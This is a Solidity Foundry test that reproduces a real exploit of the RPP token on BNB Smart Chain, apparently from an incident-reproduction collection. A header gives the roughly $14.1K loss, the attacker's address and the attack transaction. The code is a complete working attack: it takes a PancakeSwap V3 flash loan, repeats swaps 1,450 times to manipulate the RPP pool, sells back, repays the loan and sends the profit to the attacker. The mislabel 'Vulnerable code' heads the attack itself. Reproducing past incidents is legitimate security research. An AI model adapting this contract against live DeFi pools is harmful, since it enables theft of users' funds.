HIGH severity: RPP exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ $14.1K Attacker : https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112 Attack Contract : https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45 Vulnerable Contract : https://bscscan.com/address/0x7d1a6930

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ $14.1K
// Attacker : https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112
// Attack Contract : https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45
// Vulnerable Contract : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751
// Attack Tx : https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1853984974309142768
// Hacking God : N/A

address constant PANCAKE_V3_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
address constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
address constant RPP_TOKEN = 0x7d1a69302D2A94620d5185f2d80e065454a35751;

contract RPP_exp is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 43_752_882 - 1;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = BSC_USD;

        vm.label(PANCAKE_V3_POOL, "PancakeV3Pool");
        vm.label(PANCAKE_V2_ROUTER, "PancakeSwap: Router v2");

        vm.label(WBNB_ADDR, "WBNB");
        vm.label(BSC_USD, "BUSD");
        vm.label(RPP_TOKEN, "RPP");
    }

    function testExploit() public balanceLog {
        AttackContract attackContract = new AttackContract();
        attackContract.start();
    }

    receive() external payable {}
}

contract AttackContract {
    address attacker;
    uint256 borrowedAmount = 1_200_000_000_000_000_000_000_000;

    constructor() {
        attacker = msg.sender;
    }

    function start() public {
        TokenHelper.approveToken(BSC_USD, PANCAKE_V2_ROUTER, type(uint256).max);
        TokenHelper.approveToken(RPP_TOKEN, PANCAKE_V2_ROUTER, type(uint256).max);

        IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowedAmount, 0, "");

        TokenHelper.transferToken(BSC_USD, attacker, TokenHelper.getTokenBalance(BSC_USD, address(this)));
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        uint256 times = 1450; // 1450
        for (uint256 i = 0; i < times; i++) {
            address[] memory path = new address[](2);
            path[0] = BSC_USD;
            path[1] = RPP_TOKEN;
            IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapTokensForExactTokens(
                99_999_999_999_999_999_999_999,
                1_200_000_000_000_000_000_000_000,
                path,
                address(this),
                block.timestamp + 100_000_000
            );
        }

        while (true) {
            uint256 rppBalance = TokenHelper.getTokenBalance(RPP_TOKEN, address(this));
            address[] memory path = new address[](2);
            path[0] = RPP_TOKEN;
            path[1] = BSC_USD;
            IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
                99_999_999_999_999_999_999_999, 0, path, address(this), block.timestamp + 100_000_000
            );
            if (rppBalance <= 134_160_000_000_000_000_000_000_214) break;
        }

        TokenHelper.transferToken(BSC_USD, PANCAKE_V3_POOL, borrowedAmount + fee0);
    }

    receive() external payable {}
}


Vulnerability type: unknown